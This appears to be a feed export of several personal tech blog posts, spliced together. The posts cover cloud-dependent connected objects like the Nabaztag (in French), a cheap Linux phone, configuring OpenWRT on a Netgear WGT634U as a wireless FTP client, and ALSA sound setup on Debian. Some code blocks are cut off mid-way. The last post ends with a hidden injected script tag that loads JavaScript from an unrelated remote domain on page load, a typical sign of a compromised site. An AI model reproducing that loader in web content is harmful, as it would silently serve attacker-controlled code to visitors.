				<content:encoded><![CDATA[<p>En ce début d&#8217;année 2014, la presse (et surtout notre Ministre) tourne en boucle sur la thématique des objets connectés. Pour exemple voici un extrait d&#8217;<a href="http://www.journaldunet.com/ebusiness/expert/56458/les-objets-connectes---un-marche-prometteur-pour-les-operateurs.shtml">un article du Journal du Net</a> :</p>
<blockquote><p>D’après le cabinet Gartner, le marché des objets connectés devraient représenter d’ici 2020 en valeur 1 900 milliards de dollars et près de 30 milliards d’unités (contre 2,5 milliards d’unités en 2009). Une explosion du marché qui s’explique notamment par le développement des technologies embarquées au sein de tout ce qui nous entoure&#8230;</p></blockquote>
<p><img class="alignleft" alt="" src="http://jkx.larsen-b.com/photos/blog/nabaztag.thumb.jpg" width="150" height="150" />Tout cela semble bien merveilleux, sauf que les journalistes ont la mémoire un peu courte. L&#8217;un des premiers objets connectés vendu fut bien le <a href="http://fr.wikipedia.org/wiki/Nabaztag">Nabaztag</a>, mais les journalistes oublient que ça vie fut relativement chaotique, et sa mort lente après seulement 5 années. En effet comme une majorité des objets connectés développés actuellement, le lapin de Violet fonctionnait exclusivement via un accès distant aux serveurs de l&#8217;entreprise. Le lapin n&#8217;était en fait qu&#8217;une coque en plastique, 2 servos moteurs, un haut-parleur et qques maigres circuits électroniques. Le totalité des traitements (vocalisation, API de contrôle &#8230;) était opéré à distance. Le jour ou l&#8217;entreprise Violet a rencontré des problèmes commerciaux et quand la direction a décidé d&#8217;abandonner le produit, le mignon petit lapin avec des oreilles motorisées c&#8217;est transformé en vulgaire bout de plastique sans aucune utilité.</p>
<p>Les temps ont changé, la technologie a évolué, mais même si maintenant un service hébergé s&#8217;appelle &#8220;le claoud&#8221;, les enjeux sont les mêmes. Les objets connectés sont toujours des simples micro-contrôleurs bardés de capteurs, et dont l&#8217;intelligence est ailleurs. Il y a pleins de raisons à cela :</p>
<ul>
<li><strong>Coût de l&#8217;objet lui-même</strong> : Pas besoin d&#8217;un système très évolué. Même un geek un peu débutant peut facilement développer un objet connecté, à faible cout.</li>
<li><strong>Facilité de développement et d&#8217;évolution</strong> : Pas de mise à jour à faire chez le client, SAV plus simple.. Il suffit d&#8217;apporter de nouveaux services sur les serveurs de l&#8217;entreprise. Et surtout un développeur d&#8217;API web coute beaucoup moins cher qu&#8217;un spécialiste des systèmes embarqués.</li>
<li><strong>La valeur de la donnée</strong> : Bien entendu avoir accès aux habitudes des clients (température de l&#8217;habitat, condition météo extérieure, fréquence des joggings..) sont autant d&#8217;informations <b>monnayables</b>. <strong>Si c&#8217;est gratuit, vous êtes le produit</strong>, comme dit l&#8217;autre.</li>
</ul>
<p>Je dois avouer que si demain, on me demandait de designer un objet connecté, je ferais exactement la même chose que Violet en son temps, que Google avec le Nest, ou encore que Netatmo. Sauf que cela ne peut fonctionner qu&#8217;un temps, il est vrai que pour le Nabaztag cela n&#8217;a pas vraiment eu d&#8217;impact : Quelques milliers de clients déçus, mais le lapin n&#8217;était qu&#8217;un gadget pour geek attardé ou pour enfant. (Ok, j&#8217;avoue j&#8217;en ai un qui prend la poussière sur une étagère). Mais je suis pas sûr que les clients de Nest voient la chose d&#8217;un même oeil, le jour ou Google décidera d’arrêter le support, et que le chauffage de l&#8217;habitat cessera de fonctionner. Les plus croyants de mes lecteurs diront que cela n&#8217;arrivera pas, sauf qu&#8217;ils oublient une chose importante. La durée de vie d&#8217;un thermostat d&#8217;ambiance doit être de l&#8217;ordre d&#8217;une quinzaine d&#8217;année (on le change en même temps que la chaudière ou que le radiateur électrique..). Un cycle dans le domaine des nouvelles technologie c&#8217;est quoi 3 ans / 5 ans .. Dans 5 ans, que va-t-il se passer, est-ce que l&#8217;ensemble de ces objets connectés auront finis à la poubelle  ? Certains survivront sans aucun doute mais quid des milliers de clients déçus ?</p>
<p>Alors même si certains des produits vendus (développés) actuellement sont vraiment bien conçus, bien produits, il est important de regarder en détails comment le service est réellement opéré. Avez-vous accès aux sources, avez-vous une API locale ? Le système fonctionne-t-il sans connexion internet (en bluetooth par ex). Ou alors, êtes vous prêt à l&#8217;acheter en sachant que vous payer non pas pour un objet connecté, mais pour une dépendance assumée.</p>

				<content:encoded><![CDATA[<p>Everybody have a mobile phone right now, and me too :) I just bought a nice little phone from my DSL provider. They offer a good deal for new users like me: Free phone when you call wired phone (or SIP) thought a Wifi connection, and pay at normal rate when you use the GSM bands. That&#8217;s fine for me cause, I just want to use a little, and the phone itself cost only 50Euros !!</p>
<p>The phone itself is pretty nice, use Linux (yes !! kernel 2.6.10 inside ) and can be hacked: <a class="reference" href="http://opentwin.org/">http://opentwin.org/</a></p>

<img src="http://jkx.larsen-b.com/photos/Electronic/twin2.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/twin2.sized.jpg" /></p>
<p>You can use it to surf quite well. Opera does a really good job, and you can even watch TV for free.. This phone is a good piece of stuff for the price.</p>
<p>Hum, I &#8216;m guessing you will see some new post about Asterisk or other fun stuff here soon ;)</p>

				<content:encoded><![CDATA[<p>This year, for my birthday I have a very nice Media Player <a class="reference" href="http://www.tvix.co.kr/eng/Products/M3100U.aspx">M3100</a>. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know..</p>
<p>The only issue: I need to take it back to my computer when I want to upload a new film, that&#8217;s it .. When I first received this gift, I went back to the shop to exchange it against a networked one. But 1) they cost a lot more money, 2) not available at the shop. (even if it&#8217;s a really big one).</p>
<p>Last week, somebody sent me a mail. He found some cheap wireless access point with a USB port: Netgear <a class="reference" href="http://kbserver.netgear.com/products/WGT634U.asp">WGT634U</a>. (50Euro) Hum, ok let&#8217;s give it a try. First test, plug a Media Player to this USB port&#8230; ok It&#8217;s working fine. But you know, I don&#8217;t have a network cable near my bed, so I decided to transform the Access Point in a Wireless client. By this way, I can simply plug the Media Player on the WGT634U and remotely put some Divx via FTP, without any wire.</p>
<div id="step-1-install-openwrt" class="section">
<h1><a name="step-1-install-openwrt">Step 1 / Install OpenWRT</a></h1>
<p>The default firmware on the WGT634 doesn&#8217;t support wireless client mode (It&#8217;s a AP). So I switched it to <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT634U">OpenWRT</a> Kamikaze. I build the firmware from source, but the kamikaze snapshot shoud work too. I followed the OpenWRT guide step by step with a external serial plug. You can find the complete howto for the serial connection <a class="reference" href="http://members.shaw.ca/swstuff/wgt634u.html">here</a></p>
<pre class="literal-block"># hit Ctrl-C on the bootloader
CFE&gt; ifconfig eth0 -auto
CFE&gt; flash -noheader tftp_host:openwrt-wgt634u.bin flash0.os
CFE&gt; reboot</pre>
<p>The first boot is a bit long, but all is fine&#8230;</p>
</div>
<div id="step-2-install-tools" class="section">
<h1><a name="step-2-install-tools">Step 2  / Install tools</a></h1>
<p>Here the short list of needed tools:</p>
<ul class="simple">
<li>kmod-usb2</li>
<li>kmod-usb-storage</li>
<li>kmod-vfat</li>
<li>kmod-nls-base, kmod-nls-cp437, kmod-nls-iso8859-1</li>
<li>pure-ftpd</li>
</ul>
<p>with a simple ipkg install via the serial console</p>
</div>
<div id="step-3-configure-openwrt-in-wireless-client" class="section">
<h1><a name="step-3-configure-openwrt-in-wireless-client">Step 3 / Configure OpenWRT in wireless client</a></h1>
<p>This is really simple in kamikaze, only change some files:</p>
<p>The wireless config file need to be tweaked, as I want it to join my MyDummySSID network</p>
<p><em>/etc/config/wireless</em></p>
<pre class="literal-block">config wifi-iface
option device   wifi0
option network  lan
option mode     sta
option ssid     MyDummySSID
option hidden   0
option encryption none</pre>
<p>Let&#8217;s go for the network config: MyDummySSID Access Point is 192.168.3.0/24, gateway in 3.1 and local DNS server is 1.254</p>
<p><em>/etc/config/network</em></p>
<pre class="literal-block">#### LAN configuration
config interface lan
option type     bridge
option ifname   "eth0.0"
option proto    'static'
option ipaddr   '192.168.3.2'
option netmask  '255.255.255.0'
option gateway  '192.168.3.1'
option dns      '192.168.1.254'</pre>
<p>First test: <em>ifdown wan</em> (switch off network) / <em>ifdown br-lan</em> / <em>ifup br-lan</em></p>
</div>
<div id="step-4-firewall" class="section">
<h1><a name="step-4-firewall">Step 4 / Firewall</a></h1>
<p>Ok that&#8217;s fine, but I want to restrict the access to my local network only.. so I need to hack the firewall a little to avoid remote access from other wireless clients (my wireless network is open you know..). Simply linked this little script in /etc/rc.d/</p>
<p><em>/opt/ftp-firewall</em></p>
<pre class="literal-block">#!/bin/sh

# clear all firewall rules
for T in filter nat mangle ; do
iptables -t $T -F
iptables -t $T -X
done

# drop incomming packet
iptables -P FORWARD ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P INPUT   DROP

# accept traffic on localhost
iptables -A INPUT -p tcp -i lo -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT

# accept ftp only from my home network
iptables -A INPUT -s 192.168.1.0/24 -p tcp -i br-lan --dport 21 -j ACCEPT

# accept incoming http / ssh
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# finaly accept already open Cnx
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
</div>
<div id="step-5-misc" class="section">
<h1><a name="step-5-misc">Step 5 / Misc</a></h1>
<p>After some tests, I discover that I need a way to know if the WGT634U managed to join the wireless network or no. So I added this little script, that check for the wireless BSSID, and turn the power led in yellow if something goes wrong .. this is really usefull in fact.</p>
<p><em>/opt/led-daemon</em></p>
<pre class="literal-block">#!/bin/sh

while true
do
{
STATE=$(iwconfig ath0 |grep  00:13:13:53:DA:D1 | wc -l)
[ $STATE -eq 1 ] &amp;&amp; echo 0 &gt; /proc/diag/led/power
[ $STATE -eq 0 ] &amp;&amp; echo 1 &gt; /proc/diag/led/power
sleep 20
}
done</pre>
<p>Foo</p>
</div>
<div id="step-6-finally" class="section">
<h1><a name="step-6-finally">Step 6 / Finally</a></h1>
<p>Here the result:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" /></div>
<p>The finished product (grrr) works really fine and managed to achieve something like 850Ko/sec, I mean full speed ;) (11Mbs network) I need to remove the serial port right now, and close the box..</p>
<p><strong>Important update</strong></p>
<p>I read on Engadget that I use this to stream video to my TV, (like the Apple TV do), but this is absolutely wrong. This media player has a <strong>320Go hard-drive</strong>. Why would stream film on this ? I just put it on that&#8217;s it :)</p>
<p>This is really amazing how people doesn&#8217;t read the article to see what I&#8217;ve done. It&#8217;s not the first time this happen in fact.</p>
<p>Here in France, most advanded users have some network TV from a long time, and this little boxes can play network stream (like the Apple TV) for a long time now. Beside you don&#8217;t pay for this service (rent for the boxes are included in DSL bill), the only issue is that you must have another computer to stream.</p>
<p>I guess nobody here (in France) would by a Apple TV, since we already have this kind of products for free for a long time. Look at a <a class="reference" href="http://fr.wikipedia.org/wiki/Freebox">Freebox</a> for example.</p>
<p><strong>It&#8217;s time to watch a film :)</strong></p>

<p>Here on my shuttle .. not working</p>
<pre class="literal-block">aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: IXP [ATI IXP], device 0: ATI IXP AC97 [ATI IXP AC97]
Subdevices: 1/1

<p>Here on another box (VIA C3 based)</p>
<pre class="literal-block">aplay -l

<p>So yes the C3 can play 4 stream at the same time, while the AC97 doesn&#8217;t.</p>
<p>Another way to do this is to use <a class="reference" href="http://www.alsa-project.org/alsa-doc/doc-php/asoundrc.php#softmix">software mixing</a></p>
<p><strong>Update:</strong></p>
<p>To use the software mix in Alsa: simply change the pcm.default to pcm.dmix</p>

				<content:encoded><![CDATA[<p>Installing Alsa (as a lot of linux kernel module) on Debian (w/ debian package) can be a real pain. But this one is really simple:<br />
- apt-get install alsa-base<br />
- apt-get install alsa-source</p>
<p>Take care that alsa-base ask you which sound card you have. This is needed for building the init-script.</p>
<p>Next:</p>
<pre class="literal-block">cd /usr/src/
tar xvfj  alsa-driver.tar.bz2
cd modules/alsa-driver
./configure
make
make install
/etc/init.d/alsa start</pre>
<p>Take care that by default all mixer are off !!</p>
<p>&#8211; Enjoy using gnomemeeting<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
